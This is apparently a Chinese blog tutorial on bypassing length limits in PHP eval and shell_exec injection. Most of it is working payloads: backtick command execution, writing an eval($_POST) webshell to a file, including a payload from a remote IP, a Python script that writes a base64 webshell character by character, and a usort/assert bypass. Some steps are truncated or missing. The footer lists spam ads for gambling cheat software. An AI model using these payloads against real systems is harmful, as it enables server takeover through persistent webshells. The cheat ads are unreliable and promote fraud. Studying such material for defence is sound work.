RCE-eval长度限制突破技巧
创始人
2024-09-26 10:27:09
0

目录

一、长度17的限制绕过

1、最简单的绕过

(一)绕过

(二)编写一句话木马

2、文件包含的利用 

(一)远程文件包含的利用

(二)本地文件包含的利用

3、usort绕过

(一)绕过方法:

(二)过程解析

二、长度7的绕过

1、绕过方法:


RCE执行漏洞:
执行命令行命令“写入如下内容到文件,会自动将创建木马文件并将一句话木马写入其中,使用连接工具连接即可

一、长度17的限制绕过

$param = $_REQUEST['param']; if (strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false)  { eval($param); }

1、最简单的绕过

(一)绕过

param限制是17,我们只要param传入的参数长度下于17就可以

param=echo `$_GET[1]`;&1=id

可以看到可以执行系统命令了

(二)编写一句话木马

利用之前的命令执行语句创建一个新的php文件

param=echo%20`$_GET[1]`;&1=touch 1.php

进入系统可以看到创建成功
注:如果没有创建成功,大概率是你的www-data对html目录的权限不够,
解决办法:修改权限或修改目录的所属者等等,办法众多

接下来我们往这创建好的文件里写内容:

param=echo%20`$_GET[1]`;&1=echo ' 1.php

成功写入!接下来连接蚁剑试试

连接成功!

2、文件包含的利用 

(一)远程文件包含的利用

可以使用远程文件,但正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。

不过,其实include$_GET[1];也是可以运行的,中间的空格可以不要。

这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。

include包含的所有文件都以php格式运行。

param=include$_GET[1];&1=//192.168.xxx.xxx//get.php

(二)本地文件包含的利用

1、向服务器写入文件并包含

既然文件要利用包含了,那么我们就应该先要想办法将马先写入一个文件才行,有了这个思路,那么想想该怎么写入呢?

这时候可以利用一下file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:

param=$_GET[a](N,a,8);&a=file_put_contents 刚好16位 

file_put_contents的第一个参数是文件名,我传入N。第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

除了file_put_contents,error_log函数效果也类似。

但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如  code=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话,“<”等符号又是必不可少的。

于是上网找资料看到一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。

咱在只需要将PD9waHAgZXZhbCgkX1BPU1RbMV0pOw一个一个写入到文件里就行

将这些字符通过file_put_contents依次写入文件N中

他的参数有(file,content,type)。第一个是要上传的文件名,第二个是文件内容,第三个为8时就表示像文件追加内容,而不是覆盖

由于字符有点多,手动一个一个有点慢,下面我写了一个脚本,快速执行访问

import requests  string = 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw'  for i in string:     payload = "http://192.168.217.135/demo.php?param=$_GET[a](N,{},8);&a=file_put_contents".format(i)     response = requests.get(payload)     if response.status_code == 200:         print(i)     else:         print(response.status_code)

查看结果,写入成功

文件内容写好后,使用文件包含,直接使用蚁剑进行连接

param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

php://filter  ----文件伪协议 

read ----表示读取文件

convert.base64-decode -----表示将文件内容进行base64解码

resource  ----表示读取的文件路径和文件名

因为我编码的内容为:

所以连接时用1来连接 。

3、usort绕过

用于绕过长度限制;

(一)绕过方法:

?1[]=test&1[]=phpinfo();&2=assert
-------------------------------

post传参:

param=usort(...$_GET);

(二)过程解析

通过GET传入两个数据,一个数组,和一个assert函数

通过POST处理传入的GET参数

详细过程如下:

usort函数

['test','phpinfo()'] ,assert

相当于用assert取处理前面数组里面的每一个值

类似于:

usort(['test','phpinfo()'],'assert')

二、长度7的绕过

代码:

$param = $_REQUEST['param'];   if ( strlen($param) < 8 )  {       echo shell_exec($param); } 

使用之前的:`$_GET[1]` ----长度为10,用不了了

1、绕过方法:

文件确实写入了网站后台目录。

为了节省时间,直接看结果

成功的创建了一个一句话木马文件。

尝试连接试一试

相关内容

热门资讯

7分钟新版!(EV扑克)其实真... 7分钟新版!(EV扑克)其实真实是有挂,EV扑克确实是有挂的吗,详细教程(有挂教学)-哔哩哔哩;1、...
8分钟最新版!(wePOKE)... 8分钟最新版!(wePOKE)原来一直总是有挂,wePOKE软件透明挂,详细教程(有挂总结)-哔哩哔...
9分钟线上!(微扑克透明挂)确... 9分钟线上!(微扑克透明挂)确实真的是有挂吗,wpk总结原来一直都是有挂,详细教程(有挂细节)-哔哩...
二分钟系统!(wpk挂)确实真... 二分钟系统!(wpk挂)确实真的是有挂吗,wpk挂详细教程(有挂攻略)-哔哩哔哩;AI辅助机器人普及...
三分钟分钟!大厅wpk其实真实... 三分钟分钟!大厅wpk其实真实是有挂,东游麻将确实是有挂吗,详细教程(2024已更新)(哔哩哔哩);...
3分钟分钟!天天福建十三水万能... 3分钟分钟!天天福建十三水万能辅助器,福建八闽麻将原来确实是有挂,详细教程(2021已更新)(哔哩哔...
5分钟分钟!新人皇是有挂猫腻吗... 您好,新人皇这款游戏可以开挂的,确实是有挂的,需要了解加微【136704302】很多玩家在这款游戏中...
六分钟识别!(pokerris... 您好,pokerrist这款游戏可以开挂的,确实是有挂的,需要了解加微【757446909】很多玩家...
二分钟AI!(世纪游戏)原来一... 您好,世纪游戏这款游戏可以开挂的,确实是有挂的,需要了解加微【136704302】很多玩家在这款游戏...
2分钟ai辅助!(Wepoke... 2分钟ai辅助!(Wepoke黑科技)真的是有挂吗,Wepoke黑科技详细教程(竟然有挂)-哔哩哔哩...